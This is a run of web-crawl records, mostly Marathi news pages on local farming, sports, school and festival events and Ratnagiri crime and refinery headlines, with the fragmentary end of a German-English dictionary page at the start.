पढ़ें…\n abgeschlossen कोलिन्स शब्दकोश के 4000 सबसे अधिक इस्तेमाल होने वाले शब्दों में से एक है\nउपयोग देखें: शुरूआत के बाद से अंतिम १० साल अंतिम ५० साल अंतिम १०० साल अंतिम ३०० साल\nabgeschlossen के आस-पास के शब्द\n'A' से शुरू होने वाले सभी जर्मन शब्द\n'abgeschlossen' से संबंधित सभी शब्द\nसे abgeschlossen का अनुवाद से जर्मन से अंग्रेज़ी शब्दकोश की परिभाषा\n'The hyphen ( - )' के बारे में अधिक पढ़ें\nspicedrop सितंबर २१, २०१८\nultradian सितंबर २१, २०१८\ngoader सितंबर २०, २०१८\nfarter सितंबर २०, २०१८\nप्रस्तुत करें और अधिक देखें\nजर्मन-अंग्रेज़ी शब्दकोश को ब्राउज़ करें\nसभी शब्दकोशों को देखें ...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00341.warc.wet.gz", "language": "mr", "language_score": 0.55, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-neglect-agricultural-workers-collecting-soil-samples-9216", "date_download": "2018-09-25T17:58:29Z", "digest": "sha1:DM2SBW5FEA2ER4LAYAIZOMW3RNFQ5HLL", "length": 15601, "nlines": 147, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, The neglect of agricultural workers in collecting soil samples | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\nमाती नमुने गोळा करण्याकडे कृषी कर्मचाऱ्यांचे दुर्लक्ष\nमाती नमुने गोळा करण्याकडे कृषी कर्मचाऱ्यांचे दुर्लक्ष\nमंगळवार, 12 जून 2018\nपुणे ः पुणे जिल्ह्यात गेल्या महिन्यात १५ मेपर्यंत माती नमुने काढण्यासाठी विशेष मोहीम हाती घेण्यात आली होती. या मोहिमेकडे कृषी विभागाच्या अनेक कर्मचाऱ्यांनी दुर्लक्ष केले आहे. त्यामुळे सुमारे ३७ हजार ९२२ माती नमुने घेण्याचे प्रलंबित राहिल्याचे चित्र आहे.\nपुणे ः पुणे जिल्ह्यात गेल्या महिन्यात १५ मेपर्यंत माती नमुने काढण्यासाठी विशेष मोहीम हाती घेण्यात आली होती. या मोहिमेकडे कृषी विभागाच्या अनेक कर्मचाऱ्यांनी दुर्लक्ष केले आहे. त्यामुळे सुमारे ३७ हजार ९२२ माती नमुने घेण्याचे प्रलंबित राहिल्याचे चित्र आहे.\nशेतकऱ्यांना शेतजमिनीतील मातीपरीक्षणाद्वारे जमिनीतील अन्नद्रव्याचे प्रमाण जाणून घेऊन त्यानुसार पुढील हंगामात घेतल्या जाणाऱ्या पिकांसाठी खतमात्रांची शिफारस करण्यात येते. त्यासाठी मागील दोन वर्षांपासून मृद आरोग्य पत्रिकेचे वाटप करण्यात येते. त्यानुसार दरवर्षी माती नमुने घेतले जातात. त्याची पू्र्वतयारी म्हणून लक्षांकाप्रमाणे निधी उपलब्ध करून देण्यात आला आहे. निवडलेल्या गावातील लागवडीयोग्य असलेल्या क्षेत्रामधून बागायत क्षेत्रासाठी अडीच हेक्टर व जिरायत क्षेत्रासाठी दहा हेक्टरमधून एक माती नमुना काढण्यात येतो.\nक्षेत्रीय पातळीवर कार्यरत असलेल्या कृषी विभागाच्या यंत्रणेमार्फत माती नमुने काढले जातात. त्यानंतर ते विश्लेषणासाठी माती चाचणी प्रयोगशाळेत पाठविण्यात येतात. माती चाचणी प्रयोगशाळेत नमुना प्राप्त झाल्यानंतर विश्लेषणासाठी माती नमुना तयार करण्यात येतो. त्यानंतर पुढील घटकांसाठी प्रयोगशाळेत या नमुन्याची तपासणी केली जाते. केंद्र शासनाच्या मार्गदर्शक सुचनेनुसार एकूण बारा घटकांची विहीत पद्धतीने तपासणी करण्यात येते. कृषी सहायकांनी माती नमुने गोळा करण्यासाठी प्रशिक्षित, माहितीगार तज्ज्ञ, शेतकरी किवा गावातील आत्माअंतर्गत नियुक्त केलेल्या कृषीमित्रांची मदत घेण्याच्या सूचना होत्या. तसेच संबंधित कृषी सहायकांनी गावातील माती नमुने काढण्यापूर्वी कालावधी निश्चित करून दवंडी देणे किवा सूचना लिहून सहभाग वाढविणे गरजेचे होते. परंतु तसे झाले नाही.\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00342.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://mahasports.co.in/usain-bolt-pulls-up-with-pulled-hamstring-in-final-world-championship-still-classy-as-he-applauds-the-crowd-in-london-even-in-pain/", "date_download": "2018-09-25T17:03:01Z", "digest": "sha1:QOWF2Q5QJZFPBAYVPLB4343H57SYCM7F", "length": 7173, "nlines": 64, "source_domain": "mahasports.co.in", "title": "पहा नक्की काय झाले उसेन बोल्टला कारकिर्दीतील अखेरच्या सामन्यात -", "raw_content": "\nपहा नक्की काय झाले उसेन बोल्टला कारकिर्दीतील अखेरच्या सामन्यात\nपहा नक्की काय झाले उसेन बोल्टला कारकिर्दीतील अखेरच्या सामन्यात\nजगातील अॅथलेटिक्स मधील सार्वकालीन महान खेळाडू उसेन बोल्टच्या कारकिर्दीचा शेवट अपेक्षेप्रमाणे गोड झाला नाही. काल वर्ल्ड अॅथलेटिक्स चॅम्पिअनशिपमध्ये १*४०० मीटर रिले स्पर्धा पार पडली. या स्पर्धेचे वैशिष्ठय म्हणजे जमैका संघाकडून शर्यत संपवणारा उसेन बोल्टने काल लंडनच्या ऑलिम्पिक स्टेडियममध्ये आपल्या ऐतिहासिक कारकिर्दीला पूर्णविराम दिला.\nपरंतु हा पूर्णविराम दुर्दैवी होता. शेवटच्या टप्प्यात जेव्हा बॅटन बोल्टकडे आले तेव्हा तो काही मीटर धावल्यानंतर दुखापतग्रस्त झाला आणि कारकिर्दीचा शेवट गोड करण्यापासून मुकला.\nउसेन बोल्टची वैयक्तिक १०० मीटर शर्यत चर्चेची ठरली होती मात्र त्याला म्हणावा तास निरोप मिळाला नाही. कांस्य पदकावर समाधान मानावे लागल्यामुळे अनेक बोल्ट चाहते नाराज झाले होते. बोल्टला आधीच्या चुका सुधारून पुन्हा एकदा सुवर्ण पदक मिळवण्याची तसेच चाहत्यांना खुश करण्याची संधी होती. परंतु तो दुखापतग्रस्त झाल्यामुळे ती हुकली.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00342.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%A8%E0%A5%8D%E0%A4%AF%E0%A5%82-%E0%A4%87%E0%A4%82%E0%A4%97%E0%A5%8D%E0%A4%B2%E0%A4%BF%E0%A4%B6-%E0%A4%B8%E0%A5%8D%E0%A4%95%E0%A5%82%E0%A4%B2%E0%A4%AE%E0%A4%A7%E0%A5%8D%E0%A4%AF%E0%A5%87-4/", "date_download": "2018-09-25T16:32:50Z", "digest": "sha1:WZNEF7NIXEVAWNFAET7KIECUJEVDBAXP", "length": 8093, "nlines": 128, "source_domain": "www.dainikprabhat.com", "title": "न्यू इंग्लिश स्कूलमध्ये रंगला दहीहंडीचा सोहळा | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nन्यू इंग्लिश स्कूलमध्ये रंगला दहीहंडीचा सोहळा\nसातारा, दि. 3 (प्रतिनिधी) – येथील दहीहंडी फोडण्याचा सोहळा गोविंदा रे गोपाळा, अरे एक दोन , तीन, चार.. तुझ्या घरात नाही पाणी घागर रिकामी रे.. अशा दहीहंडीच्यासाठी असणाऱ्या खास गाण्यांनी शाळेचा परिसर दुमदुमून गेला होता. डोक्‍याला केशरी रिबीन बांधलेल्या बाल गोविंदांचा उत्साह अगदी आभाळाला भिडला होता.\nशाळेच्या शिक्षिका सौ. रुपा शिंदे यांचेसह सर्व पाचवी वर्गाचे वर्गशिक्षकांनी या सोहळ्याचे आयोजन केले होते. दुपारी 3 चे सुमारास शाळेची ही दहीहंडी वरच्या मजल्यावर बांधल्यावर वातावरण अगदी गोविंदामय झाले होते. सर्व वर्गातील मुले- मुली मैदान परिसरात गोविंदाचा जयघोष करत होते. दहीहंडी फोडण्यासाठी थर लावताना मुलांना इजा होऊ नये यासाठी गाद्याही जमिनीवर टाकण्यात आल्या होत्या. एकामागून एक असे पाच प्रयत्न करुनही ही दहीहंडी फुटत नव्हती. अखेरीस सर्व बाल गोविंदांनी एकजूट करुन मैदानात गोल फेरी मारुन अगदी निग्रह करत तिसरा थर लावल्यावर बालकृष्णाचे रुप घेतलेला बाल गोविंदा अर्थात नचिकेत आवलेने शरीर उंचावत दहीहंडीच्या दोराला घट्ट पकडुन अखेर आपल्या डोक्‍यानेच दहीहंडी फोडली. आणि लाह्या, दही, दुधाचा अभिषेकच साऱ्या गोविदांवर झाला. हजारो मुला-मुलींनी गोविंदाचा जयघोष करत हा दहीहंडी सोहळा अनुभवला. इयत्ता पाचवी वर्गाचे वर्गशिक्षक विजय गुरव, मोरबाळे, काकडे,माने, मोरे, सौ. कुंभार, काळे आदींनी या सर्व गोविंदाना मार्गदर्शन केले. तसेच अगोदर सरावही करुन घेतला. गोपाळकाल्याच्या प्रसादाने या कार्यंक्रमाची सांगता झाली.\nकार्यंक्रमाचे सुत्रसंचालन राजेंद्र आफळे यांनी केली. या उपक्रमाचे संयोजनासाठी उपमुख्याध्यापक डी. एस. कांबळे, पर्यवेक्षक सौ. एस.व्ही पाटील, डी. जे. रावडे, एल.अे. दळवी, सेवानिवृत्त शिक्षक चारुदत्त दांडेकर तसेच सर्व शिक्षक शिक्षिका, पालक प्रतिनिधी यांनी सहभाग घेऊन मुला-मुलींना मार्गदर्शन केले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleकॉंग्रेसच मराठा समाजा आरक्षण मिळवून देईल\nNext articleओझर्डेतील सोनेश्‍वर मंदिरात भाविकांची रिघ\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00343.warc.wet.gz", "language": "mr", "language_score": 0.9, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%B6%E0%A4%82%E0%A4%AD%E0%A5%8B-%E0%A4%97%E0%A4%A3%E0%A5%87%E0%A4%B6%E0%A5%8B%E0%A4%A4%E0%A5%8D%E0%A4%B8%E0%A4%B5-%E0%A4%AE%E0%A4%82%E0%A4%A1%E0%A4%B3%E0%A4%BE%E0%A4%A8/", "date_download": "2018-09-25T16:32:47Z", "digest": "sha1:LYL5LFLOY4OMZ33IUEDOP7TZ3VIPIVS2", "length": 6214, "nlines": 127, "source_domain": "www.dainikprabhat.com", "title": "शिवशंभो गणेशोत्सव मंडळाने केले मुलींच्या नावे डिपॉजिट | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nशिवशंभो गणेशोत्सव मंडळाने केले मुलींच्या नावे डिपॉजिट\nलाखणगाव- काठापुर बुद्रुक (ता. आंबेगाव) येथील शिवशंभो नवतरुण गणेशोत्सव मंडळाच्या वतीने मागील वर्षभरात जन्मलेल्या गावातील मुलींच्या नावे मंचर येथील संत ज्ञानेश्वर नागरी सहकारी पतसंस्थेत प्रत्येकी 5 हजार रुपये डिपॉजिट करण्यात आले आहेत. त्याची ठेवपावती संबधित मातापित्यांना प्रदान करण्यात आली.\nयावेळी भीमाशंकर कारखान्याचे संचालक बाळासाहेब घुले, माजी उपसभापती अशोक करंडे, वसंत घुले, सोपान थोरात, मंचर पोलीस ठाण्याचे पोलीस कर्मचारी सागर गायकवाड उपसरपंच कान्हु करंडे, मंडळाचे अध्यक्ष गुलाब करंडे समवेत ग्रामस्थ उपस्थित होते. यावेळी पोलीस कर्मचारी सागर गायकवाड म्हणाले की, गणेशोत्सव मंडळानी समाजाला प्रेरणा देणारे देखावे सादर करावेत. अनावश्‍यक खर्चाला फाटा देऊन विधायक कामांना प्रोत्साहन दिल्यास सामाजिक बांधिलकी जपली जाते. पदाधिकाऱ्यांनी गणेशोत्सव साजरा करताना नियमांचे पालन करावे.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleजेएनयूएसयू निवडणूक २०१८ : यूनाइटेड लेफ्टने जिंकल्या सर्व जागा, साई बालाजी अध्यक्षपदी\nNext articleआशिया चषक २०१८ : हाँगकाँगचा नाणेफेक जिंकून फलंदाजीचा निर्णय\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00343.warc.wet.gz", "language": "mr", "language_score": 0.77, "bucket": "all"} {"url": "https://www.maayboli.com/taxonomy/term/18992", "date_download": "2018-09-25T17:46:13Z", "digest": "sha1:A6GCUM5CERAT4YCX2THYQWGVNYAJBGAJ", "length": 3429, "nlines": 70, "source_domain": "www.maayboli.com", "title": "डॉ नरेन्द्र दाभोळकर : शब्दखूण | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /डॉ नरेन्द्र दाभोळकर\nसाप्ताहिक साधना - डॉ नरेन्द्र दाभोळकर स्म्रुति अन्क\nसाप्ताहिक साधनाचा डॉ नरेन्द्र दाभोळकर यान्च्या स्म्रुतिप्रित्यर्थ अन्क.\nविवेकाचा आवाज बुलन्द करु या\nRead more about साप्ताहिक साधना - डॉ नरेन्द्र दाभोळकर स्म्रुति अन्क\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00343.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/mumbai-news-customers-joint-presentation-geneva-56944", "date_download": "2018-09-25T17:21:47Z", "digest": "sha1:5Q4B2HJBCZROEBRRM5WFJWKY6NY5O5XR", "length": 10868, "nlines": 173, "source_domain": "www.esakal.com", "title": "mumbai news Customer's Joint Presentation in geneva ग्राहक पंचायतीचे जीनिव्हात सादरीकरण | eSakal", "raw_content": "\nग्राहक पंचायतीचे जीनिव्हात सादरीकरण\nसोमवार, 3 जुलै 2017\nमुंबई - जीनिव्हा येथे होणाऱ्या संयुक्त राष्ट्रांच्या (यूएन) विकास आणि व्यापार परिषदेत सहा जुलै रोजी मुंबई ग्राहक पंचायत ऍपवर आधारित ओला, उबेर टॅक्‍सी सेवांवर सादरीकरण करणार आहे.\nसादरीकरणासाठी मुंबई ग्राहक पंचायतीचे कार्याध्यक्ष शिरीष देशपांडे यांना निमंत्रित करण्यात आले आहे. \"ओला, उबेर स्पर्धेचे तारक की मारक' असा या सादरीकरणाचा विषय आहे.\nमुंबई - जीनिव्हा येथे होणाऱ्या संयुक्त राष्ट्रांच्या (यूएन) विकास आणि व्यापार परिषदेत सहा जुलै रोजी मुंबई ग्राहक पंचायत ऍपवर आधारित ओला, उबेर टॅक्‍सी सेवांवर सादरीकरण करणार आहे.\nसादरीकरणासाठी मुंबई ग्राहक पंचायतीचे कार्याध्यक्ष शिरीष देशपांडे यांना निमंत्रित करण्यात आले आहे. \"ओला, उबेर स्पर्धेचे तारक की मारक' असा या सादरीकरणाचा विषय आहे.\nगेल्या वर्षी देशपांडे यांच्या मार्गदर्शनाखाली ओला, उबेर तसेच टॅक्‍सी आणि रिक्षा सेवेबाबत एक ऑनलाइन सर्वेक्षण करण्यात आले होते. त्यात 76 हजारांहून अधिक ग्राहकांची मते आजमावण्यात आली होती. या सर्वेक्षणाची आंतरराष्ट्रीय स्तरावर दखल घेतली गेली होती.\nउदयनराजेंच्या उमेदवारीवर शरद पवारांचे स्पष्टीकरण\nपुणे- राष्ट्रवादी काँग्रेसचे खासदार उदयनराजे यांच्या उमेदवारीला साताऱ्यातील पक्षाच्या आमदारांचा विरोध नसल्याचे स्पष्टीकरण पक्षाचे अध्यक्ष शरद पवार...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nपशुसेवेच्या शतकी परंपरेची इंडिया रेकॉर्डकडून दखल\nसांगली - संस्थानकाळात पहिला पशुवैद्यकीय दवाखाना सुरु करणारे आणि शतकभरापुर्वी सांगलीतून पहिली पशुवैद्यक शास्त्रातील सर्जन म्हणून पदवी मिळवणारे डॉ...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/category/editions/ratnagiri/page/32", "date_download": "2018-09-25T17:32:34Z", "digest": "sha1:HRMBEGQOUHAUTX4DKRRGPJYV6PWW6DRN", "length": 9759, "nlines": 50, "source_domain": "www.tarunbharat.com", "title": "रत्नागिरी Archives - Page 32 of 176 - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी\nबनावट सोने तारणातून लाखोंची लूट\nराष्ट्रीयकृत बँकेतील प्रकार,सोनाराने घातला गंडा कर्जाबाबतच्या पत्रानंतर ग्राहकांमध्ये खळबळ खोटय़ा सहय़ा घेऊन अनेकांची फसवणूक वरिष्ठ पातळीवर प्रकरण मिटविण्याच्या वाटाघाटी वार्ताहर /संगमेश्वर संगमेश्वर जवळच्या एका राष्ट्रीयकृत बँपेत बनावट सोने तारण ठेवून लाखो रुपयांची लूट केल्याचा धक्कादायक प्रकार पुढे आला आहे. यामध्ये सेनाराने काही ग्राहकांच्या स्वाक्षऱया घेऊन कर्जाची रक्कम लाटल्याची चर्चा सुरु आहे. याबाबत संबधीत ग्राहकांना कर्जाबाबतची पत्र आल्यानंतर त्यांच्यात खळबळ ...Full Article\n.. हे सारे दर्जेदार रस्त्यांसाठी\nबांधकाम खात्याच्या अधिक्षक अभियंत्यांचा खुलासा उद्योजक किरण सामंत यांचे सारे आरोप फेटाळले प्रतिनिधी /रत्नागिरी राष्ट्रीय महामार्ग दर्जाचे रस्ते बनवण्यासाठी तांत्रिक सल्लागार नियुक्त करण्यात आले होते. त्यांनी रस्ते बनवण्याच्या खर्चाचा ...Full Article\n‘पशुसंवर्धन’ गोदामात मुदतबाहय़ औषधांचे तीनशे बॉक्स\nकळंबस्ते येथील गोदामातील प्रकार अधिकारी म्हणतात औषधे आपली नव्हेतच बेकायदा खैर विक्री पाठोपाठ नवा पोलखोल पंचायत समिती सदस्यांच्या पहाणीत उघड, प्रतिनिधी /चिपळूण एकीकडे शेतकऱयांनी मागणी करूनही जनावरांसाठी औषधे पुरवण्यास ...Full Article\nसंभ्रमासाठी प्रशासन करतेय आकडय़ांचा खेळ\nप्रकल्पविरोधी संघटनांचा ‘प्रबोधना’वर हल्लबोल नेते भाजताहेत केवळ राजकीय पोळ्या मुख्यमंत्र्यांची भूमिकाही संशयास्पद प्रतिनिधी /राजापूर नाणार परिसरातील प्रस्तावित रिफायनरी प्रकल्पाबाबत प्रशासन खोटी माहिती देत आहे. या प्रकल्पाला केवळ 14 टक्के ...Full Article\nआईचे स्वप्न साकारताना आपलेही स्वप्न पूर्ण\nप्रो-कबड्डी स्टार काशिलिंग अडकेने उलगडला खेळाचा प्रवास प्रतिकूल परिस्थिती, खेळातील संकटांवर मात करत यशाला गवसणी विजय पाडावे /रत्नागिरी कबड्डी खेळायची आवड होती, पण त्या खेळात काहीतरी नाव कमवावे याची ...Full Article\nयेत्या 3 दिवसांत मेघगर्जनेसह पाऊस\nहवामान खात्याचा अंदाज आंबा, काजू व्यावसायिकांवर चिंतेचे ढग प्रतिनिधी /रत्नागिरी राज्यभरात उष्म्याने उच्चांक गाठला असून रत्नागिरीचा पारा सोमवारीही 33 अंशांवर होता. या वाढलेल्या उष्णतेच्या पार्श्वभुमीवर 5-6 एप्रिलपर्यंत कोकण गोव्यात ...Full Article\nसमुद्राचे पाणी शुध्द करुन रिफायनरीसाठी वापरणार\nपत्रकार परिषदेत अधिकाऱयांची माहिती, पुढील टप्प्यात प्रतिष्ठीत लोकांचे प्रबोधन, रेल्वे मार्गासाठी पूर्व तयारी सुरु, केवळ 14 टक्के लोकांचा आक्षेप असल्याचा दावा प्रतिनिधी /रत्नागिरी नाणार परिसरातील रिफायनरी प्रकल्पासाठी समुद्राचे पाणी ...Full Article\nपाटीलबुवाकडून आणखी 9 महिलांचा विनयभंग \nतपासादरम्यान कारनामे उघड 2016-17 मधील प्रकार पुरवणी दोषारोपत्र दाखल होणार प्रतिनिधी /रत्नागिरी झरेवाडी येथील भोंदू श्रीकृष्ण अनंत पाटील उर्फ पाटीलबुवा हा आपल्या मठात महिलांशी गैरवर्तन करून त्यांचा विनयभंग करत ...Full Article\nमास्टरमाईंड महिलेसह टोळी ताब्यात\nपतसंस्थेसह एटीएम फोडण्याचा प्रयत्न सात जणांची टोळी, खेडमधील तिघे प्रतिनिधी /खेड भरणे येथील शिवचैतन्य नागरी सहकारी पतसंस्थेसह लोटे व लवेल येथील एटीएम फोडणारी टोळी गजाआड करण्यात आली असून या ...Full Article\nकोकम, चिकू, काजूला ‘जीआय’ मानांकन जाहीर\n-देवगड हापूस आंब्याला ‘जीआय’ मानांकन प्रतिनिधी/ रत्नागिरी कोकणातील कोकम, चिकू आणि काजू या फळांना ‘जीआय’ मानांकन जाहीर झाले असून यामुळे कोकणचा विकास निश्चितच होऊन रोजगाराची मोठी संधी निर्माण होणार ...Full Article\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल 